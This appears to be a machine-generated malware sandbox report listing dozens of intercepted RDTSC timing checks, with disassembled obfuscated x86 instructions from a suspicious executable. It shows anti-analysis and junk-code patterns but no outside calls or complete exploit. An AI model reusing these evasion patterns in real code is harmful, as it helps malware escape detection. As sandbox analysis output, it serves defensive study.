Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534F1B second address: 534F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jnl 00007FF670C3B922h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534F3E second address: 534F7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007FF67050A37Eh 0x0000000f pop edx 0x00000010 popad 0x00000011 pop eax 0x00000012 sub dword ptr [ebp+122D2B62h], esi 0x00000018 lea ebx, dword ptr [ebp+12448B2Ch] 0x0000001e mov edx, dword ptr [ebp+122D3926h] 0x00000024 push eax 0x00000025 push edi 0x00000026 jnp 00007FF67050A37Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 534FE7 second address: 535030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jbe 00007FF670C3B91Ch 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FF670C3B924h 0x00000012 nop 0x00000013 mov esi, dword ptr [ebp+122D3A2Eh] 0x00000019 push 00000000h 0x0000001b sub dword ptr [ebp+122D314Bh], ebx 0x00000021 push F4142660h 0x00000026 jns 00007FF670C3B924h 0x0000002c push eax 0x0000002d push edx 0x0000002e jns 00007FF670C3B916h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 535030 second address: 535087 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 0BEBDA20h 0x0000000d call 00007FF67050A37Eh 0x00000012 pop edx 0x00000013 push 00000003h 0x00000015 jmp 00007FF67050A381h 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d push ebx 0x0000001e mov eax, dword ptr [ebp+122D37C2h] 0x00000024 pop edi 0x00000025 movsx esi, si 0x00000028 popad 0x00000029 push 00000003h 0x0000002b push ebx 0x0000002c push ebx 0x0000002d mov edx, dword ptr [ebp+122D394Eh] 0x00000033 pop ecx 0x00000034 pop edx 0x00000035 call 00007FF67050A379h 0x0000003a pushad 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 535087 second address: 53509C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF670C3B91Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 53509C second address: 5350AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5350AA second address: 5350B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5350B0 second address: 5350B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5350B6 second address: 5350BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5350BA second address: 535123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push esi 0x0000000e jc 00007FF67050A376h 0x00000014 pop esi 0x00000015 jnc 00007FF67050A37Ch 0x0000001b jp 00007FF67050A376h 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 jnp 00007FF67050A384h 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e pushad 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 pop edx 0x00000033 push ecx 0x00000034 jmp 00007FF67050A384h 0x00000039 pop ecx 0x0000003a popad 0x0000003b pop eax 0x0000003c lea ebx, dword ptr [ebp+12448B37h] 0x00000042 push eax 0x00000043 pushad 0x00000044 jng 00007FF67050A37Ch 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 528203 second address: 528236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF670C3B91Ah 0x0000000b jmp 00007FF670C3B920h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF670C3B920h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 553795 second address: 5537BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A37Bh 0x00000009 popad 0x0000000a jmp 00007FF67050A387h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 553BC6 second address: 553BE8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF670C3B918h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF670C3B924h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55415E second address: 55418A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF67050A387h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF67050A37Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55418A second address: 55418F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5542AF second address: 5542C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF67050A37Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5547DE second address: 5547EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF670C3B916h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5556B1 second address: 5556D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF67050A382h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FF67050A376h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55D207 second address: 55D20D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55D20D second address: 55D211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55D211 second address: 55D215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55D215 second address: 55D227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55D227 second address: 55D22B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55EA1D second address: 55EA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55EA27 second address: 55EAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jg 00007FF670C3B92Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 ja 00007FF670C3B934h 0x00000017 jnl 00007FF670C3B92Eh 0x0000001d mov eax, dword ptr [eax] 0x0000001f jmp 00007FF670C3B922h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a je 00007FF670C3B92Fh 0x00000030 jmp 00007FF670C3B929h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55EAAA second address: 55EAB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55EAB0 second address: 55EAB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 55EC1E second address: 55EC24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51E1CD second address: 51E1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 51E1D3 second address: 51E1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007FF67050A380h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5627D1 second address: 5627DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FF670C3B916h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5627DC second address: 5627F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5627F2 second address: 56280C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B926h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 562943 second address: 56294A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 562BB3 second address: 562BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 562BB7 second address: 562BD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007FF67050A376h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 562F1F second address: 562F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 562F27 second address: 562F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 563071 second address: 563075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5650E3 second address: 5650E9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5650E9 second address: 565137 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF670C3B927h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007FF670C3B92Bh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF670C3B91Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 565137 second address: 56513D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56513D second address: 56515F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B927h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56515F second address: 565164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 565164 second address: 5651A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF670C3B925h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 je 00007FF670C3B916h 0x00000018 jmp 00007FF670C3B924h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5651A1 second address: 5651A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5651A6 second address: 5651DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF670C3B926h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d jmp 00007FF670C3B91Ah 0x00000012 push 8865C01Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5655E9 second address: 5655ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5656B9 second address: 5656C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5657E5 second address: 5657E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 565A4F second address: 565A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 565A55 second address: 565A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 565F33 second address: 565F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 565F38 second address: 565F49 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF67050A378h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56600F second address: 566020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jnp 00007FF670C3B928h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 566020 second address: 566024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 566123 second address: 566145 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56621D second address: 566221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5662EF second address: 5662F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5662F4 second address: 5662FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5662FA second address: 56630C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FF670C3B918h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56658D second address: 566602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edi 0x00000008 jmp 00007FF67050A37Eh 0x0000000d pop edi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FF67050A378h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 or esi, 36B4325Ah 0x0000002f mov esi, dword ptr [ebp+122D3B12h] 0x00000035 xchg eax, ebx 0x00000036 jmp 00007FF67050A380h 0x0000003b push eax 0x0000003c pushad 0x0000003d pushad 0x0000003e jmp 00007FF67050A386h 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 566602 second address: 56660B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56660B second address: 56660F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 566B2D second address: 566B41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B920h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5685D0 second address: 5685D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5685D4 second address: 568641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FF670C3B918h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 jnc 00007FF670C3B91Ch 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007FF670C3B918h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov esi, dword ptr [ebp+122D3812h] 0x0000004b push 00000000h 0x0000004d or dword ptr [ebp+122D3124h], edx 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 568641 second address: 568648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56A787 second address: 56A7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FF670C3B91Bh 0x0000000b jmp 00007FF670C3B929h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5696E4 second address: 5696EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56A7B4 second address: 56A7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 526791 second address: 526795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 526795 second address: 5267B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007FF670C3B928h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56CE6A second address: 56CE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56C074 second address: 56C07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56CE6E second address: 56CE87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF67050A380h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56C07B second address: 56C080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56CE87 second address: 56CE99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007FF67050A380h 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 56D632 second address: 56D638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5722AB second address: 5722B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF67050A376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 572397 second address: 5723AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B922h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5750AB second address: 5750BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A37Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5750BF second address: 5750C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
